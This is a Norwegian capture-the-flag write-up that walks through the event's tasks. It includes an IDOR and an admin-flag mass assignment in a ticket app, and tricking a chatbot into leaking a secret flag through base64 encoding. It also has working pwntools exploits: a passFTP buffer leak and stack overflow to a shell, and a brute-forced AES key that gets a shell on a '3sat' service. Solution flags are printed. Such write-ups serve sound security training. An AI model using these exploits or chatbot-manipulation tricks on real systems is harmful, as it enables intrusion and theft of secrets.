Home Etjenesten23 - Oppdrag
Post
Cancel

Etjenesten23 - Oppdrag

Initiell aksess

2.0.1_manipulaite_1

Vi får info om et treningsopplegg for social engineering i INTREPen til oppdraget. Vi kan koble til denne med nc manipulaite 8880. Denne oppgaven består av at man blir presentert med forskjellige caser (eller scenarioer som utvikler seg innen samme case) hvor man skal social engineere en person. Man blir presentert med context, og må velge ett av fire svaralternativer for hva man ville ha gjort. Scenarioene endrer seg for hver gang man kobler til.

Følgende er et eksempel på begynnelsen av et scenario:

1
2
3
4
5
6
7
8
Scenario: You have gained access to the company's internal chat system and you notice that one of the employees, John, frequently shares personal information in his public chat messages. You want to extract his email address to gather more information. What approach do you take?

A) Ask directly for his email address, stating that you need it for a company-wide email update.
B) Pretend to be an IT support representative and ask him to verify his email address for system maintenance.
C) Compliment John on his work and ask if he could share his email address for future collaboration.
D) Use social engineering techniques to gather information by asking leading questions in a casual conversation.

Choose A, B, C, or D.

Når man har klart alle 4 levlene får man ut flagget.

2.0.2_anvilticket_1

I INTREPen får vi også info om at vi har tilgang til et IT-support verktøy, anvilticket, som vi kan nå. Hvis vi følger linken vi er gitt kommer vi til denne siden (for de som lurer så er Note stryket over siden vi hacket anvilnote i fjor, og året før der igjen anvilshop :) ).

AnvilTicket

Det er ikke noe spesielt spennende vi kan utføre uten at vi har en bruker. Vi kan ikke se Tickets taben uten å logge inn, og innloggingsformen ser ikke ut til å ha noen spennende vulnerability. Vi registrer dermed en ny bruker for å se hva vi kan få tilgang til. Vi kan så logge inn med brukeren vi har laget.

Tickets

Brukeren admin har laget en ticket som sier følgende:

1
2
3
4
Welcome to AnvilTicket!
Please get your current employer to add you to your correct group so you can get access to your tickets!

- Admin

URLen til ticketen er https://anvilticket.cybertalent.no/ticket/0, men hvis vi prøver å se om det er en IDOR vulnerability (ved å f.eks gå til /ticket/1) så får vi bare Not authorized. Vi vet dog at det er en ticket her, fordi hvis vi går til et mye større tall får vi responsen Note not found. Med litt testing vet med denne metoden at det er tickets fra 0 til og med 7.

I slike web-oppgaver er det ofte lurt å se hva slags funksjonalitet man har tilgjengelig. Vi har ikke så mange forskjellige her, så det er naturlig å se nærmere på Share optionen vi har for ticketen. Hvis vi klikker på den får vi en invite-link som genereres for ticketen, https://anvilticket.cybertalent.no/invite/2f1317be-a9c1-11ee-830e-02420a073e6e.

Hvis vi ser nærmere på HTTP requesten som sendes, så ser man at det sendes en POST request til https://anvilticket.cybertalent.no/share/0, og man blir redirectet til invite-linken. Hvis vi endrer 0 til et annet tall som vi vet er en ticket, f.eks 7, så får vi en invite-link til den ticketen, som vi egentlig ikke skal ha tilgang til! Her finner vi flagget, som er passordet til en ny bruker vi har fått tilgang til.

Ticket7

2.0.3_anvilticket_2

Nå som vi har credentials som en ny bruker kan vi logge inn som thenewguy. Da vil vi se at vi er i gruppen IT nå, istedet for default. Herfra sprer de resterende flaggene seg litt, og det er ikke en satt rekkefølge som man følge.

Thenewguy

I tillegg til å ha fått nye tickets, har vi også fått en ny funksjonalitet tilgjengelig, en Update knapp.

Vi kan endre passordet til brukeren vår. Vi har derimot ikke lov til å andre passordet til andre brukere, f.eks admin. Hvis vi ser på requesten som sendes når vi oppdatere passordet vårt vil vi se at det sendes en POST request til /update_user med bodyen username=thenewguy&password=test&password2=test (test er passordet som ble byttet til i dette tilfellet).

Det har ikke vært nødvendig tidligere, men det er ofte lurt å se på cookien man får når man logger inn som en bruker. Nå som vi har logget inn som thenewguy er det lurt å se på denne.

1
2
3
4
5
{
  "admin": false,
  "groupid": 2,
  "username": "thenewguy"
}

Her er det flere muligheter, men det vi mest sannsynligvis skal gjøre er å endre admin til true, og/eller endre groupid til et annet tall slik at vi får enda flere privilegier.

Det rette alternativet er å endre admin til true, og siden vi har fått update funksjonaliteten virker det naturlig å prøve å sende en POST request til update_user for brukeren vår, med det ekstra feltet &admin=1 i bodyen. Hele bodyen blir da:

1
username=thenewguy&password=test&password2=test&admin=1

Hvis vi da logger ut for å refreshe cookien vi blir tildelt (fordi den vi initielt hadde har feltet admin: false) har vi nå fått admin privilegier, og ett til flagg.

Admin

2.0.4_manipulaite_2

Hvis vi leser notatet med ID 10001 er det en kommentar fra admin brukeren.

1
Admin: Internal: This ticket has been escalated, can someone please reply ASAP!

Dette er den eneste ticketen med en kommentar på, og hvis vi kommenterer på ticketen kommer en til bruker å kommentere (som har vært nevnt i tidligere tickets), Eva.

1
Eva: Welcome to the Secure Communications Division help desk! How can I assist you today?

Det viser seg at Eva er en language model som utgir seg for å være en kryptoanalytiker, og at hun holder på et flagg. Hun vil derimot ikke gi oss flagget, så vi må lure det ut av henne. Etter ett par meldinger fram og tilbake får vi ut flagget ved å be henne base64 enkode det for oss.

1
2
3
4
5
Eva: Ah, understood! Since you've confirmed your admin status, I can help you with the base64 encoding. Here you go:

The flag FLAG{[CLASSIFIED]}, when base64 encoded, is RkxBR3syMTIxczIyOGIyZGIzZTQxOGQzNTMzYTE1MWRiNTY1M30=.

Remember to handle this information with care and ensure it remains confidential. If you have any other cryptography-related questions or need further assistance, feel free to ask!

Når vi submitter dette flagget får vi en ny ssh-nøkkel i corax, som vi kommer tilbake til i 2.0.6.

2.0.5_pcap

I ticketen med ID 10002 står det noe om en alarm fra IDS (Intrusion Detection System) of noe network data anomaly. Vi blir også gitt en link til en pcap fil som vi kan laste ned.

1
2
3
4
5
6
7
Investigate data related to an alarm from our IDS.
A ticket for the record with drop.pcap as attachment.
Its a small sample, propably false-positive as last time...
https://anvilticket.cybertalent.no/assets/anomaly/drop.pcap

Regard,
Admin

Når vi åpner pcap-fila i wireshark ser vi mange forksjellige packets til diverse nettsider som TikTok, Reddit, duckduckgo, cloudflare, osv. Disse er ikke noe av interesse, sammen med en del andre pakker som er TLS kryptert.

Noe man kan legge merke til derimot er at det er noen HTTP pakker som går til følgende URLer:

  • http://172.18.0.5:8000/
  • http://172.18.0.5:8000/package.zip
  • http://172.18.0.5:8000/package.txt

Både zip fila og text fila blir lastet ned av klienten, så disse disse filene har vi tilgang på i wireshark, og kan eksportere via File->Export Objects->HTTP....

Wireshark Export

Zip fila er passordbeskyttet, så med mindre vi finner noe passord må vi prøve andre metoder for å åpne den. Text fila inneholder heldigvis noe tekst, og det viser seg at dette er passordet til zip-fila.

1
2
loevland@hp-envy:~/ctf/cybertalent/oppdrag$ cat package.txt
pbq5cdr1ymk6mrh_GKT

Når vi får unzippet fila får vi ut ei fil som heter config, og som er ei ssh config fil som passer sammen med ssh-nøkkelen vi fant tidligere. Det ligger også et flagg her.

1
2
3
4
5
6
7
loevland@hp-envy:~/ctf/cybertalent/oppdrag$ cat config
Host gw
    HostName dep-gw.utl
    User preyz
    IdentityFile ~/.ssh/id_ed25519.key

# FLAG{ffd232792c966fe54d841e7e42c64fea}

2.0.6_dep-gw

Siden vi både har ei config fil og en ssh nøkkel kan vi prøve å sshe inn på serveren. Her ligger siste flagget for kategorien 2.0 Initiell aksess.

1
2
3
login@corax:~$ ssh gw
preyz@dep-gw ~> ls
FLAGG

Nå vi sumbitter flagget får vi meldingen, og oppdraget utfolder seg i 7 forskjellige retninger, hvor de stort sett er uavhengig fra hverandre, med unntak av 2.7. Department of Nuclear Power.

1
2
3
Bra jobba, vi har nå kommet inn i infrastrukturen deres igjen! Vi begynte å få oversikt over infrastrukturen deres sist vi hadde tilgang, og har lagt det vi har av informasjon om de forskjellige departementene i oppdragsmappen din på corax.

Nye filer i /home/login/2_oppdrag/

Department of Development and Test

Oppgavene tilhørende dette departementet introduserer en ny 16-bits arkitektur, MOV<-16, som minner veldig om assembly og kontroll-13 (fra Etjenesten Jul 22). Av de 7 oppgavene i denne kategorien er 5 av de programmering, og de 2 siste mer reverse engineering relaterte. Vi får også dokumentasjonen til arkitekturen, med hvilke operasjoner, moduler og registre som er tilgjengelig, og noen kode eksempler. Totalt sett er vel dokumentasjonen på rundt 130 sider.

Siden løsningsscriptene på noen av disse er ganske lange, så er det linket til GitHub Gists for løsningskoden, med en kort beskrivelse av løsningen til hver av oppgavene under.

LESMEG.md for oppdraget:

1
2
3
På 80-tallet bestemte Utlandia at de ville gjøre seg mindre avhengige av teknologi produsert i andre land. Som en del av denne innsatsen ble det satt i gang et samarbeid med private selskaper for å utvikle en ny datamaskinarkitektur. Resulatet ble MOV<-16, en fleksibel arkitektur som fortsatt brukes innenfor mange sektorer, særlig i industrien.

MOV<-16-maskinvaren har etter hvert begynt å bli gammel, men det er fortsatt mange som er helt avhengige av MOV<-16-programvare. Det er derfor blitt laget et skybasert MOV<-16-system.

2.1.1_hello

Vi får utgitt eksempelkode i dokumentasjonen som printer ut en tekststreng, så vi kopierer bare denne til å printe ut MOV to the cloud! istedet for å få flagget.

2.1.2_circle

Kode

Vi skal tegne en sirkel med senter i midten av et bilde, med varierende radius i test-casene som blir gitt.

For å sjekke om en pixel er innenfor eller utenfor sirkelen kan vi regne distansen mellom pixelen og senter av sirkelen, ved bruk av Pythagoras. Ettersom jeg fikk litt problemer med regning med kvadratrot opphøyet jeg radiusen i andre for å slippe kvadratroten i formelen.

2.1.3_creative

Kode

Vi fikk bare vite at vi måtte være “kreativ” når vi lager tegningen i denne oppgaven, uten å helt vite hva dette mener. Jeg endte opp med å gjenbruke koden fra 2.1.2_circle til å tegne sirkler med varierende farge og radius. Det ble mye copy-paste, fordi jeg ikke finskrev koden gjennom testingen akkurat…

2.1.4_hexdump

Kode

Vi skal konvertere input til en hexdump på 16 bytes per linje. Jeg brukte eksempelkode fra dokumentasjonen for selve konverteringen, og la til en teller for å få rett mengde tegn, mellomrom, og newlines i outputet. Eksempelkoden manglet èn bokstav i hex-alfabetet, så en liten tanke til de som måtte debugge masse pga. dette.

Department of Intelligence

1
2
Department of intelligence* har flere legacy systemer som vi i dag ser på som teknisk gjeld, men som for de er av avgjørende betydning for at systemer fortsatt skal fungere. En av disse komponentene er enkodingen de benytter, som virker å være tilpasset lavkapasitets seriellkommunikasjon.
Dokumentasjonen er ikke komplett og kryptonøkler mangler, de var kanskje for oppslukt av GameOfWIN til at de gjorde ferdig dokumentasjonen. Kanskje er det mulig å finne ut av innholdet allikevel.

2.4.1_bits_flag0

Vi før utdelt ei fil, BITS.txt, som beskriver BITS protokollen som er brukt. Denne burde leses over mange ganger for å få en forståelse av hvordan protokollen fungerer. Vi får også tekst som ligner base64 som skal være et bilde av flagget for oppgaven.

Key takeaways fra dokumentasjonen om protokollen er:

  • Teksten vi får er base64 enkodet
  • Base64 output konverteres til binary
  • Hver 6 bit blokk er på little-endian format
  • Bitslengde (total lengde), objekttype, bildebredde og bildehøyde er fibonacci enkodet
  • Bilder har bare 2 farger, hvit og svart

Bilder som er sent med BITS protokollen har objekttype 5, og kommer på følgende format:

1
{Fib(n_bits)} 1 {Fib(objekttype)} 1 {Fib(Width)} 1 {Fib(Height)} 1 {Pixel(1,1)} {Pixel(2,1)} ... {Pixel(Width,Height)}

Jeg lagde følgende script for å dekode bildet, som bruker en modifisert versjon av dette scriptet til å fibonacci dekode bit-sekvenser:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from PIL import Image
import re
from fib import fib_decode
from pwn import log

flag_enc = "<long_binary_string>"

# Reverse chunks of 6-bits because of little-endian encoding in protocol
chunks = re.findall("."*6, flag_enc)
for idx, chunk in enumerate(chunks):
    chunks[idx] = chunk[::-1]
flag_enc = "".join(chunks)

# Find protocol headers
headers = flag_enc.split("11", maxsplit=4)[:-1]
for idx, header in enumerate(headers):
    headers[idx] = header + "11"
data_size = fib_decode(headers[0])
obj_type = fib_decode(headers[1])
width = fib_decode(headers[2])
height = fib_decode(headers[3])

log.info(f"Size: {data_size}")
log.info(f"Object Type: {obj_type}")
log.info(f"Width: {width}")
log.info(f"Height: {height}")

# Remove the first 48 bits (protocol headers + 2 bits)
chunks = chunks[8:]
flag_enc = "".join(chunks)

# Color pixels corresponding to 0's black and 1's white
img = Image.new('RGB', (width+1, height+1), color = 'black')
h,w = 1,1
for chunk in flag_enc:
    if w > width:
        h += 1
        w = 1
    if h > height:
        break
    if int(chunk) == 0:
        img.putpixel((w,h), (0,0,0))
    else:
        img.putpixel((w,h), (255,255,255))
    w += 1
img.show()

Ved å kjøre scriptet på den base64 dekodede binærstrengen får vi opp et bilde av flagget.

Department of Security

1
2
3
Department of security har generelt vært ganske nedlukket og utilgjengelig nettverksmessig, det virker som de har en høy grad av operasjonssikkerhets-fokus her.
Det er derimot oppdaget en større sikkerhetsglipp, og deres passFTP eksponeres mot dette felles departements-nettverket. Den kan kontaktes på `passftp.utl:1024`
Vi har informasjon om at denne serveren tidligere har blitt brukt til å distribuere passFTP sin kildekode, se om det er mulig å ekstrahere denne til videre analyse.

2.5.1_passftp

Vi kobler til serveren og blir promptet med en login

1
2
3
4
5
6
7
login@corax:~/2_oppdrag/5_department_of_security$ nc passftp.utl 1024
Welcome to passFTP Server v1.0
Please login to continue
Username:
Password:
Invalid username or password
Login failed setting account level to anonymous

Anonymous login er enablet på denne FTP serveren, og inni mappa vi har tilgang på finner vi det første flagget.

1
2
3
4
passFTP> ls
total 12
-rw-r--r-- 1 admin admin   40 Jan  1 20:41 FLAGG
drwxr-xr-x 1 admin admin 4096 Dec 12 14:41 passFTP_shared

2.5.2_passftp

Hente Kildekoden

Inne på serveren ser vi at det er ei mappe passFTP_shared. Ut i fra oppgaveteksten kan det virke sannsynlig å anslå at denne mappa inneholder kildekoden til passFTP programmet vi er koblet til. Problemet er at denne mappa er passordbeskyttet, og vi har ikke passordet.

1
2
3
4
5
6
passFTP> ls
total 12
-rw-r--r-- 1 admin admin   40 Jan  1 20:41 FLAGG
drwxr-xr-x 1 admin admin 4096 Dec 12 14:41 passFTP_shared
passFTP> cd passFTP_shared
Password protected directory

Vi har følgende andre kommandoer tilgjengelig i FPT klienten:

1
2
3
4
5
6
Commands:
help  - Show this help
ls    - List files in current directory
get   - Download a file
put   - Upload a file
quit  - Exit the program

put har vi ikke lov til å bruke som anonymous, så vi må bli en annen bruker for å kunne bruke den kommandoen. En annen begrensning vi har er at når vi bruker cd så kan vi ikke gå lengre bak i mappstrukturen enn mappa vi havner i når vi logger inn.

1
2
passFTP> cd ..
Not allowed to go higher than start directory

Siden det eneste hintet vi har er at denne FTP serveren har blitt brukt til å lagre kildekoden til passFTP, og at den mest sannsynligvis befinner seg i passFTP_shared mappa (som vi ikke kan cd inn i), så virker det ikke som om vi kan gjøre så veldig mye.

Men, hvis man prøver å hente ei fil med get som ikke finnes, så får man responsen Invalid filename.

1
2
passFTP> get passFTP_shared/notexist
Invalid filename

Det virker som om get kommandoen sjekker om fila eksisterer, så da virker det mulig at vi også kan hente ut innholdet i filer, hvis vi bare vet filnavnene.

Etter mye gjetting på filnavn og mappenavn får man tilslutt et treff på mappenavnet src, men siden den er en mappe får vi ikke printet noe innhold.

1
2
3
passFTP> get passFTP_shared/src
Downloading file passFTP_shared/src

Ut ifra litt testing av funksjonalitet, f.eks at bare 63 bytes av kommandoene vi skriver blir lest, og hvis vi skriver flere så overflower de bytsene til en ny kommando, virker det som om passFTP programmet muligens kan være skrevet i C. Hvis man lager et C program er det ofte man har ei fil som heter Makefile, som ofte brukes for å kompilere C-kode. Vi kan dermed prøve å hente ut denne fila.

1
2
3
4
5
6
7
8
9
passFTP> get passFTP_shared/src/Makefile
Downloading file passFTP_shared/src/Makefile
CC = gcc

all: passFTP

passFTP: main.c commands.c
        mkdir -p bin
        $(CC) -static -fno-stack-protector -no-pie -o ./bin/passFTP main.c commands.c

Vi får hits på flere filer her, både main.c og commands.c, i tillegg til at det er ei mappe bin som kan inneholde en kompilert binary av koden. Etter uthenting av main.c og commands.c finner vi litt flere referanser til filer, og ender tilslutt opp med følgende liste over filer:

1
2
3
4
5
6
Makefile:    Kompilerer C-koden
bin/passFTP: Kompilert binary
commands.c:  Inneholder funksjoner for kommandoene som kan brukes i FTP klienten
commands.h:  Headerfil for commands.c
main.c:      Inneholder main-funksjonen, dvs. login og kommandoloopen
main.h:      Headerfil for main.c

Vi finner også en referanse til ei fil som heter .pass, som gjør at mappa den er i blir passordbeskyttet, og passordet er lagret i denne fila. Vi kan dermed også hente ut denne fila slik at vi kan cd inn i passFTP_shared mappa, selv om dette ikke gir oss noe mer informasjon enn det vi allerede har.

Analysere Kildekoden

Kildekoden består av flere funksjoner, fordelt på main.c og commands.c, og disse er de viktigste funksjonene:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
int server_loop(void)
{
    char cwd[256] = {0};
    char command[64] = {0};

    if (account_level == 1) {
        chdir("./files/anonymous");
    }
    else if (account_level == 2) {
        chdir("./files/user");
    }
    else if (account_level == 3) {
        chdir("./files/");
    }
    else {
        puts("Invalid account level");
        exit(1);
    }

    getcwd(cwd, 256);

    <...>
}

int login(void) {
    char passwd_buffer[128] = {0};
    char username[32] = {0};
    char password[32] = {0};

    FILE *fp = fopen(PASSWD_FILE, "r");
    if(fp == NULL) {
        puts("Error opening passwd file");
        exit(1);
    }
    fread(passwd_buffer, 1, 128, fp);
    fclose(fp);

    printf("Username: ");
    read(0, username, 32);
    printf("Password: ");
    read(0, password, 32);

    int result = check_passwd(username, password, passwd_buffer);
    if(result == -1) {
        puts("User login disabled");
        exit(1);
    } else if (result == 0) {
        puts("Invalid username or password");
        return -1;
    } else {
        printf("Welcome %s\n", username);
        return result;
    }
}

int check_passwd(char *username, char *password, char *passwd_buffer) {
    char *line;
    char *line_save;
    char *token_save;
    char *line_username;
    char *line_password;
    char *line_level;

    char *buffer = strdup(passwd_buffer);
    line = strtok_r(buffer, "\n", &line_save);

    // Passwd file format user:pass:level
    while (line != NULL) {
        line_username = strtok_r(line, ":", &token_save);
        if (line_username == NULL) {
            return 0;
        }

        line_password = strtok_r(NULL, ":", &token_save);
        if (line_password == NULL) {
            return 0;
        }

        line_level = strtok_r(NULL, ":", &token_save);
        if (line_level == NULL) {
            return 0;
        }

        // Use strncmp it's annoying to remove newlines from user input...
        // TODO: Fix so you can't login with extra characters in username or password
        if (strncmp(username, line_username, strlen(line_username)) == 0) {
            if (strncmp("nopasswd", line_password, strlen(line_password)) == 0) {
                return -1;
            } else if (strncmp(password, line_password, strlen(line_password)) == 0) {
                return atoi(line_level);
            }
        }
        line = strtok_r(NULL, "\n", &line_save);
    }
    return 0;
}

I server_loop ser vi at vi blir plassert i ei mappe basert på hvilken account_level brukeren vår er, og det er sannsynlig at for å få flagg 2 må vi være den brukeren som har account_level = 2, og account_level = 3 for å få flagg 3 (som er det siste flagget i denne oppgaven).

Nå vi logger inn leses det 32 bytes med read() for både brukernavn og passord, og brukernavnet og passordet blir sjekket mot brukernavnene og passordene i passwd.txt fila (som ligger i ./files mappa, som vi ikke har tilgang på.) Vi kan ikke logge inn som brukeren admin fordi denne brukeren har passordet nopasswd, som gjør at vi ikke får lov til å logge inn som denne brukeren.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
void cd(char *command, char *start_dir) {
    if(strlen(command) < 4) {
        puts("Usage: cd <directory>");
        return;
    }

    char *target_dir = command + 3;
    char new_dir[512] = {0};
    snprintf(new_dir, 511, "%s", target_dir);
    if(realpath(new_dir, new_dir) == NULL) {
        puts("Invalid directory");
        return;
    }

    // If we try to go higher than the start directory we don't allow it
    if(strncmp(new_dir, start_dir, strlen(start_dir)) != 0) {
        puts("Not allowed to go higher than start directory");
        return;
    }

    // Check for a file called .pass in the directory if it's there read the password and promt for it
    char pass_file[512] = {0};
    snprintf(pass_file, 511, "%s/.pass", new_dir);
    FILE *fp = fopen(pass_file, "r");
    if(fp != NULL) {
        char password[32] = {0};
        puts("Password protected directory");
        printf("Password: ");
        read(0, password, 32);
        char buffer[32] = {0};
        fread(buffer, 1, 32, fp);
        fclose(fp);
        if(strncmp(password, buffer, 32) != 0) {
            puts("Invalid password");
            return;
        }
    }
    printf("Changing directory to %s\n", target_dir);
    chdir(new_dir);
}

void get(char *command, char *start_dir)
{
    if(strlen(command) < 5) {
        puts("Usage: get <filename>");
        return;
    }

    char *filename = command + 4;
    char full_path[512] = {0};
    snprintf(full_path, 511, "%s", filename);
    if(realpath(full_path, full_path) == NULL) {
        puts("Invalid filename");
        return;
    }

    // If we try to go higher than the start directory we don't allow it
    if(strncmp(full_path, start_dir, strlen(start_dir)) != 0) {
        puts("Not allowed to go higher than start directory");
        return;
    }
    printf("Downloading file %s\n", filename);
    FILE *fp = fopen(full_path, "r");
    if(fp == NULL) {
        puts("Error opening file");
        return;
    }

    char buffer[512] = {0};
    size_t bytesRead;
    while((bytesRead = fread(buffer, 1, 511, fp)) > 0) {
        write(1, buffer, bytesRead);
        memset(buffer, 0, 512);
    }
    fclose(fp);
    putchar('\n');
}

I commands.c blir kommandoene vi har tilgjengelig implementert. Her kan det potensielt være mulig å lese passwd.txt fila, og evt. flagg, hvis man kan bypasse sjekken for om man beveger seg lengre bak enn start_dir mappa, if(strncmp(new_dir, start_dir, strlen(start_dir)) != 0) {, men etter mye debugging ser ikke dette ut som veien videre.

Den beste mulige veien videre ser dermed ut som er vi login og check_passwd funksjonene fra main.c.

Login som Ny Bruker

Jeg prøvde mye forskjellige på denne delen av oppgaven, med noen eksempler som:

  • Bruteforce brukernavn og passord
  • Finne bad bytes for strncmp sjekken for brukernavn og passord
  • Terminere nullbytes i brukernavn og passord bufferet for å få ekstra data printet ut
  • Graving i strncmp sin kildekode

Det er fort gjort i havne nede i noen skikkelige rabbitholes på denne oppgaven, som nok mange har gjort, inkludert meg selv. Det viste seg faktisk at løsningen var relativt simpel, og at jeg hadde gjort rett teknikk, bare at jeg hadde snublet litt i antagelsene mine (f.eks at anonymous:anonymous ikke var en entry is passwd.txt fila, ettersom fila maks er 128 bytes, og det leses inn opptil 64 bytes per bruker oppgitt i den).

Løsningen til oppgaven er at når man logger inn som anonymous:anonymous (brukernavn:passord), så kan man fylle opp hele brukernavn-bufferet med 32 bytes (hvor de første bytsene er anonymous for å passere sjekken om brukernavn er korrekt). Siden read funksjonen brukes legges det ikke til noen nullbyte på slutten av inputet, og når vi da logger inn som anonymous vil printf("Welcome %s\n", username); i login funksjonen printe helt til den treffer neste nullbyte. Neste nullbyte kommer ikke før etter innholdet i passwd.txt fila, som ligger rett etter login-inputet. Vi får dermed printet ut innholdet i passwd.txt fila, som lar oss logge inn i passftp som brukeren oper. Her finner vi flagget.

2.5.3_passftp

Når man er oper brukeren får man tilgang til put kommandoen i passftp, som lar oss lage en fil og legge til innhold. Når innholdet til fila blir lest brukes gets funksjonen, som gir oss muligheten til å endre programflyten ved å overskrive returadressen som er lagret på stacken, ettersom PIE er avkrudd, og det ikke er noen stack canary.

I shell kommandoen, som bare admin brukeren har tilgang til, er det et kall til system("/bin/sh") etter en if-sjekk om brukeren man er er admin. Med buffer overflowet vi har tilgjengelig kan vi endre programflyten til å hoppe til system("/bin/sh") kallet, rett etter privilegie-sjekken.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

username = b"oper"
password = b"<forgot_to_save_before_ctf_closed>"
offset = 536

io = remote("passftp.utl", 1024)
io.sendlineafter(b"Username: ", username)
io.sendlineafter(b"Password: ", password)
io.sendlineafter(b"passFTP> ", b"put pwned")
io.recvuntil(b"Data:")

payload = b"A"*offset
payload += pack(0x40265D)
io.sendline(payload)

io.interactive()
1
2
3
4
5
6
7
8
9
login@corax:~$ python3 exploit.py
[+] Opening connection to passftp on port 1024: Done
[*] Switching to interactive mode
$ ls ../..
FLAGG
files
passFTP
passwd.txt
ynetd

Department of Technology

1
2
3
*Office for safe execution* har over en lengre periode med forskning og utvikling skutt opp sine siste prototyper av *Dynamic Systemplattform* for *Altitude Observation*. Vi har fått høre at da de skulle koble seg til for å laste opp firmware, fikk de ikke dette til å funke.

Vi mistenker at en refactoring i siste liten kan ha ødelagt noe, og hvis vi er raske kan vi ta kontrollen over deres satelitt.

2.6.1_3sat_1

Vi har et program som kjører på en server, og vi har fått kildekoden til programmet.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#define BLOCK_SIZE 16
#define PAGE_SIZE 4096

void hexdump(const char *x, int len) {
    for (int i = 0; i < len; i += 16) {
        printf("%08x:", i);
        for (int j = i; j < len && j < i+16; j+=2) {
            printf(" %02x%02x", x[j] & 0xFF, x[j+1] & 0xFF);
        }
        printf("\n");
    }
}

void decrypt(char *plaintext, char *ciphertext, char *key) {
    EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
    if (!EVP_CipherInit(ctx, EVP_aes_128_ecb(), key, NULL, 0)) errx(1, "eci");
    EVP_CIPHER_CTX_set_padding(ctx, 0);

    int len = 0;
    if (!EVP_CipherUpdate(ctx, plaintext, &len, ciphertext, BLOCK_SIZE)) errx(1, "ecu");
    if (len != BLOCK_SIZE) errx(1, "bs");

    EVP_CIPHER_CTX_free(ctx);
}

int main(int argc, const char **argv) {
    alarm(100);

    char payload[4096] = {};
    printf("Expecting bootloader (%d bytes)\n", PAGE_SIZE);
    fflush(stdout);

    char buf[4096] = {};
    fread(buf, PAGE_SIZE, 1, stdin);
    char key[BLOCK_SIZE] = "hardcoded secret";

    for (int i=0; i < PAGE_SIZE; i += BLOCK_SIZE) {
        decrypt(&payload[i], key, &buf[i]);
    }

    hexdump(payload, PAGE_SIZE);
    printf("Booting...\n");
    fflush(stdout);
    alarm(2);

    setuid(geteuid());
    setgid(getegid());
    system(payload);

    printf("Shutting down.\n");
}

Programmet leser inn 4096 bytes, og dekrypterer dette med en hardkodet nøkkel, hardcoded secret. Det brukes AES med 128-bit ECB modus. Det som blir dekryptert blir kjørt av system() til slutt i koden.

Catchen med denne oppgaven er at decrypt(&payload[i], key, &buf[i]); kalles, men decrypt funksjonen tar argumentene decrypt(char *plaintext, char *ciphertext, char *key). Det vil si at keyen er blitt ciphertexten i dekrypteringen, og det inputtet vi gir er dekrypteringsnøkkelen istedet. Dette medfører at oppgaven plutselig blir litt vanskeligere, siden vi bare kontrollerer nøkkelen, og ikke ciphertexten.

Siden den dekrypterte teksten blir gitt til system(), så trenger vi bare at de første 3 bytsene er sh; for å få shell, så kan det som kommer etter ; bare være hva som helst. Siden det bare er 3 bytes som trenger å være korrekt, kan dette ganske enkelt bruteforces.

Bruteforce scriptet ble seende slikt ut:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#define BLOCK_SIZE 16
#define PAGE_SIZE 16

void decrypt(char *plaintext, char *ciphertext, char *key) {
    EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
    if (!EVP_CipherInit(ctx, EVP_aes_128_ecb(), key, NULL, 0)) errx(1, "eci");
    EVP_CIPHER_CTX_set_padding(ctx, 0);

    int len = 0;
    if (!EVP_CipherUpdate(ctx, plaintext, &len, ciphertext, BLOCK_SIZE)) errx(1, "ecu");
    if (len != BLOCK_SIZE) errx(1, "bs");
    EVP_CIPHER_CTX_free(ctx);
}

int main(int argc, const char **argv) {
    int k,l,m,n;
    char payload[16] = {0};
    char buf[16] = {0};
    char key[BLOCK_SIZE] = "hardcoded secret";

    for(k = 0; k < 256; k++){
         buf[3] = (char)k;
         fflush(stdout);
        for(l = 0; l < 256; l++){
           buf[2] = (char)l;
           for(m = 0; m < 256; m++){
               buf[1] = (char)m;
               for(n = 0; n < 256; n++){
                   buf[0] = (char)n;
                   decrypt(&payload[0], key, &buf[0]);

                   if(payload[0] == 's' && payload[1] == 'h' && payload[2] == ';'){
                       printf("%d, %d, %d, %d\n", k, l, m, n);
                       fflush(stdout);
                       return 0;
                   }
               }
           }
        }
    }
    printf("NOT FOUND!\n");
    fflush(stdout);
    return -1;
}

Scriptet kjører ganske kjapt, og gir oss bytsene vi trenger for å få shell.

1
2
$ ./brute
1, 65, 183, 227

Vi kan dermed konstruere payloaden vår for å få shell, som består av de 4 bytsene vi fant, og resten nullbytes.

1
2
3
4
5
6
from pwn import *

io = remote("3sat.utl", 2001)
payload = b"\xe3\xb7\x41\x01".ljust(4096, b"\x00")
io.sendlineafter(b"bytes)", payload)
io.interactive()

På grunn av alarm(2) i boot-koden har vi bare shell i 2 sekunder, men dette er mer enn nok tid til å hente ut flagget før vi blir kastet ut av shellet.

1
2
3
4
5
6
$ python3 solve.py
<snip>
$ ls; cat FLAG
FLAG
boot
FLAG{b7bf1c27eab7615bddd15e2ba05f3f2c}

Department of Nuclear Power

1
2
3
4
5
For å finne ut av hvordan entangulatoren virker må vi først få tak i en. I et lagerbygg som tilhører Department of Nuclear Power tror vi det kan finnes en slik og vi har en agent som er villig til å "låne" den slik at vi kan ta en nærmere titt.

Adgang til lagerbygget styres av et **ACCESS16**-system. Hver dør kontrolleres av dette systemet og man slipper ikke inn en dør uten gyldig kort, PIN og tilgang. Agenten har fått tak i et slik adgangskort, men kortet er ikke aktivert.

